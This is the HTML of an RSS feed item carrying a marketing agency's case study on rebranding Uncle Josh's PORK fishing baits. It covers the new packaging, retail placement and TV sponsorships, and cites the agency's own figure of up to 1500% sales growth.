									<p><img loading="lazy" decoding="async" class="size-medium wp-image-397 alignleft" src="https://bastdurbin.com/wp-content/uploads/2019/10/UncleJosh_PorkLogo_Final1-300x232.jpg" alt="" width="300" height="232" srcset="https://bastdurbin.com/wp-content/uploads/2019/10/UncleJosh_PorkLogo_Final1-300x232.jpg 300w, https://bastdurbin.com/wp-content/uploads/2019/10/UncleJosh_PorkLogo_Final1-768x593.jpg 768w, https://bastdurbin.com/wp-content/uploads/2019/10/UncleJosh_PorkLogo_Final1-480x371.jpg 480w, https://bastdurbin.com/wp-content/uploads/2019/10/UncleJosh_PorkLogo_Final1.jpg 792w" sizes="(max-width: 300px) 100vw, 300px" /></p><p>Uncle Josh, a division of ACME tackle, came to Bast Durbin for help with packaging on their Pork line of crawlers, minnows, and leeches. The problem, although the products worked, they were not visually appealing in old standard forms of plastic packaging.</p><p>Bast Durbin designed a new brand logo, new packaging, photography, copy writing, styling, and brand strategy for Acme. How do you make PORK stand out on the shelf in the stores? Disrupt the expected. The box looked unlike anything else on the shelf and made clear it wasn’t just another plastic. That really caught consumer eyes in a way never before seen in the bait industry. Bast Durbin&#8217;s brand strategy put placement in artificial lure aisles and also on small displays set out by REAL live bait areas where real night crawlers were displayed.</p><p>Uncle Josh pork crawlers could last for several hours on the hook unlike real crawlers. They were also great for moms and dads that took small children out fishing because they required far less re-baiting hooks. The premise was to place the pork crawlers out as a more user-friendly alternative to real crawlers.</p>								</div>
				</div>
				<section class="elementor-section elementor-inner-section elementor-element elementor-element-f2ceb8c elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="f2ceb8c" data-element_type="section" data-e-type="section">
						<div class="elementor-container elementor-column-gap-default">
					<div class="elementor-column elementor-col-50 elementor-inner-column elementor-element elementor-element-d276a43" data-id="d276a43" data-element_type="column" data-e-type="column">
			<div class="elementor-widget-wrap elementor-element-populated">
						<div class="elementor-element elementor-element-f93bd44 elementor-widget elementor-widget-image" data-id="f93bd44" data-element_type="widget" data-e-type="widget" data-widget_type="image.default">
				<div class="elementor-widget-container">
												<figure class="wp-caption">
											<a href="https://bastdurbin.com/wp-content/uploads/2014/12/PORKAd_InFish_ThirdPage1.jpg" data-elementor-open-lightbox="yes" data-elementor-lightbox-title="PORKAd_InFish_ThirdPage1" data-e-action-hash="#elementor-action%3Aaction%3Dlightbox%26settings%3DeyJpZCI6NTIzLCJ1cmwiOiJodHRwczpcL1wvYmFzdGR1cmJpbi5jb21cL3dwLWNvbnRlbnRcL3VwbG9hZHNcLzIwMTRcLzEyXC9QT1JLQWRfSW5GaXNoX1RoaXJkUGFnZTEuanBnIn0%3D">
							<img loading="lazy" decoding="async" width="486" height="243" src="https://bastdurbin.com/wp-content/uploads/2014/12/PORKAd_InFish_ThirdPage1.jpg" class="attachment-large size-large wp-image-523" alt="" srcset="https://bastdurbin.com/wp-content/uploads/2014/12/PORKAd_InFish_ThirdPage1.jpg 486w, https://bastdurbin.com/wp-content/uploads/2014/12/PORKAd_InFish_ThirdPage1-300x150.jpg 300w, https://bastdurbin.com/wp-content/uploads/2014/12/PORKAd_InFish_ThirdPage1-480x240.jpg 480w" sizes="(max-width: 486px) 100vw, 486px" />								</a>
											<figcaption class="widget-image-caption wp-caption-text">Print Ad for PORK baits.</figcaption>
										</figure>
									</div>
				</div>
					</div>
		</div>
				<div class="elementor-column elementor-col-50 elementor-inner-column elementor-element elementor-element-d5f9ab2" data-id="d5f9ab2" data-element_type="column" data-e-type="column">
			<div class="elementor-widget-wrap elementor-element-populated">
						<div class="elementor-element elementor-element-1d9b347 elementor-widget elementor-widget-video" data-id="1d9b347" data-element_type="widget" data-e-type="widget" data-settings="{&quot;video_type&quot;:&quot;vimeo&quot;}" data-widget_type="video.default">
				<div class="elementor-widget-container">
							<div class="elementor-wrapper elementor-open-inline">
			<iframe class="elementor-video-iframe" allowfullscreen allow="clipboard-write" title="vimeo Video Player" src="https://player.vimeo.com/video/326436433?color&amp;autopause=0&amp;loop=0&amp;muted=0&amp;title=0&amp;portrait=0&amp;byline=0#t="></iframe>		</div>
						</div>
				</div>
					</div>
		</div>
					</div>
		</section>
				<div class="elementor-element elementor-element-45834c1 elementor-widget elementor-widget-text-editor" data-id="45834c1" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default">
				<div class="elementor-widget-container">
									<p><strong>The results? Some skus saw 1500% growth</strong> in Walmart stores and other stores that formerly carried the product in the older &#8220;bag&#8221; style packing.</p><p>The company drastically increased their print and tv ad exposure, focusing on several regional publications to help drive customers to their dealer base. They also became anchor sponsors of Fishing With Joe Bucher and John Gillespie’s Waters and Woods television programs. “The shows offered a one-two punch that OWNED most Midwest cable fishing blocks and were still visible nationally,” Durbin said. “We made sure that the buyers at all the Big Box and Mom and Pop stores knew what the topics were for each program, so they knew what they needed to have in stock. Sure, you can run spots, but if the vendors don’t have product, all you did was waste your time.”</p><p>The combination of print, television, social media, and new packaging inspired sales increases that went as high as 1500-percent for some retailers. People were now talking about PORK again and product was flying off the shelves. In fact, the buzz from consumers was so strong that Uncle Josh products found their way back on the shelf in certain store chains that hadn’t carried the time-tested brand in the past. Bast-Durbin had successfully coordinated the rebranding of PORK and the effort paid off for consumers, retailers and Hard &amp; Soft Fishing.</p>								</div>
				</div>
					</div>
		</div>
					</div>
		</section>
				<section class="elementor-section elementor-top-section elementor-element elementor-element-5a15f1c elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="5a15f1c" data-element_type="section" data-e-type="section">
						<div class="elementor-container elementor-column-gap-default">
					<div class="elementor-column elementor-col-50 elementor-top-column elementor-element elementor-element-78ec37d" data-id="78ec37d" data-element_type="column" data-e-type="column">
			<div class="elementor-widget-wrap elementor-element-populated">
						<div class="elementor-element elementor-element-8359900 elementor-widget elementor-widget-image" data-id="8359900" data-element_type="widget" data-e-type="widget" data-widget_type="image.default">
				<div class="elementor-widget-container">
															<img loading="lazy" decoding="async" width="1024" height="712" src="https://bastdurbin.com/wp-content/uploads/2019/10/Pork_Crawler-1024x712.png" class="attachment-large size-large wp-image-300" alt="" srcset="https://bastdurbin.com/wp-content/uploads/2019/10/Pork_Crawler-1024x712.png 1024w, https://bastdurbin.com/wp-content/uploads/2019/10/Pork_Crawler-300x209.png 300w, https://bastdurbin.com/wp-content/uploads/2019/10/Pork_Crawler-768x534.png 768w, https://bastdurbin.com/wp-content/uploads/2019/10/Pork_Crawler-980x682.png 980w, https://bastdurbin.com/wp-content/uploads/2019/10/Pork_Crawler-480x334.png 480w, https://bastdurbin.com/wp-content/uploads/2019/10/Pork_Crawler.png 1061w" sizes="(max-width: 1024px) 100vw, 1024px" />															</div>
				</div>
					</div>
		</div>
				<div class="elementor-column elementor-col-50 elementor-top-column elementor-element elementor-element-a21c0ab" data-id="a21c0ab" data-element_type="column" data-e-type="column">
			<div class="elementor-widget-wrap elementor-element-populated">
						<div class="elementor-element elementor-element-30e4881 elementor-widget elementor-widget-image" data-id="30e4881" data-element_type="widget" data-e-type="widget" data-widget_type="image.default">
				<div class="elementor-widget-container">
															<img loading="lazy" decoding="async" width="1024" height="718" src="https://bastdurbin.com/wp-content/uploads/2019/10/Pork_Leach-1024x718.png" class="attachment-large size-large wp-image-303" alt="" srcset="https://bastdurbin.com/wp-content/uploads/2019/10/Pork_Leach-1024x718.png 1024w, https://bastdurbin.com/wp-content/uploads/2019/10/Pork_Leach-300x210.png 300w, https://bastdurbin.com/wp-content/uploads/2019/10/Pork_Leach-768x538.png 768w, https://bastdurbin.com/wp-content/uploads/2019/10/Pork_Leach-980x687.png 980w, https://bastdurbin.com/wp-content/uploads/2019/10/Pork_Leach-480x336.png 480w, https://bastdurbin.com/wp-content/uploads/2019/10/Pork_Leach.png 1056w" sizes="(max-width: 1024px) 100vw, 1024px" />															</div>
				</div>
					</div>
		</div>
					</div>
		</section>
				<section class="elementor-section elementor-top-section elementor-element elementor-element-4b5aaa9 elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="4b5aaa9" data-element_type="section" data-e-type="section">
						<div class="elementor-container elementor-column-gap-default">
					<div class="elementor-column elementor-col-50 elementor-top-column elementor-element elementor-element-8d7eaaa" data-id="8d7eaaa" data-element_type="column" data-e-type="column">
			<div class="elementor-widget-wrap elementor-element-populated">
						<div class="elementor-element elementor-element-13ee594 elementor-widget elementor-widget-image" data-id="13ee594" data-element_type="widget" data-e-type="widget" data-widget_type="image.default">
				<div class="elementor-widget-container">
															<img loading="lazy" decoding="async" width="1024" height="717" src="https://bastdurbin.com/wp-content/uploads/2019/10/Pork_Minnow-1024x717.png" class="attachment-large size-large wp-image-301" alt="" srcset="https://bastdurbin.com/wp-content/uploads/2019/10/Pork_Minnow-1024x717.png 1024w, https://bastdurbin.com/wp-content/uploads/2019/10/Pork_Minnow-300x210.png 300w, https://bastdurbin.com/wp-content/uploads/2019/10/Pork_Minnow-768x538.png 768w, https://bastdurbin.com/wp-content/uploads/2019/10/Pork_Minnow-980x687.png 980w, https://bastdurbin.com/wp-content/uploads/2019/10/Pork_Minnow-480x336.png 480w, https://bastdurbin.com/wp-content/uploads/2019/10/Pork_Minnow.png 1059w" sizes="(max-width: 1024px) 100vw, 1024px" />															</div>
				</div>
					</div>
		</div>
				<div class="elementor-column elementor-col-50 elementor-top-column elementor-element elementor-element-2b2642d" data-id="2b2642d" data-element_type="column" data-e-type="column">
			<div class="elementor-widget-wrap elementor-element-populated">
						<div class="elementor-element elementor-element-bbbba76 elementor-widget elementor-widget-image" data-id="bbbba76" data-element_type="widget" data-e-type="widget" data-widget_type="image.default">
				<div class="elementor-widget-container">
															<img loading="lazy" decoding="async" width="1024" height="724" src="https://bastdurbin.com/wp-content/uploads/2019/10/Pork_Redworm-1024x724.png" class="attachment-large size-large wp-image-299" alt="" srcset="https://bastdurbin.com/wp-content/uploads/2019/10/Pork_Redworm-1024x724.png 1024w, https://bastdurbin.com/wp-content/uploads/2019/10/Pork_Redworm-300x212.png 300w, https://bastdurbin.com/wp-content/uploads/2019/10/Pork_Redworm-768x543.png 768w, https://bastdurbin.com/wp-content/uploads/2019/10/Pork_Redworm-400x284.png 400w, https://bastdurbin.com/wp-content/uploads/2019/10/Pork_Redworm-980x693.png 980w, https://bastdurbin.com/wp-content/uploads/2019/10/Pork_Redworm-480x339.png 480w, https://bastdurbin.com/wp-content/uploads/2019/10/Pork_Redworm.png 1048w" sizes="(max-width: 1024px) 100vw, 1024px" />															</div>
				</div>
					</div>
		</div>
					</div>
		</section>
				</div>
		<p>The post <a href="https://bastdurbin.com/pork-1500-sales-growth/">PORK: 1500% Sales Growth!</a> appeared first on <a href="https://bastdurbin.com">Bast Durbin</a>.</p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
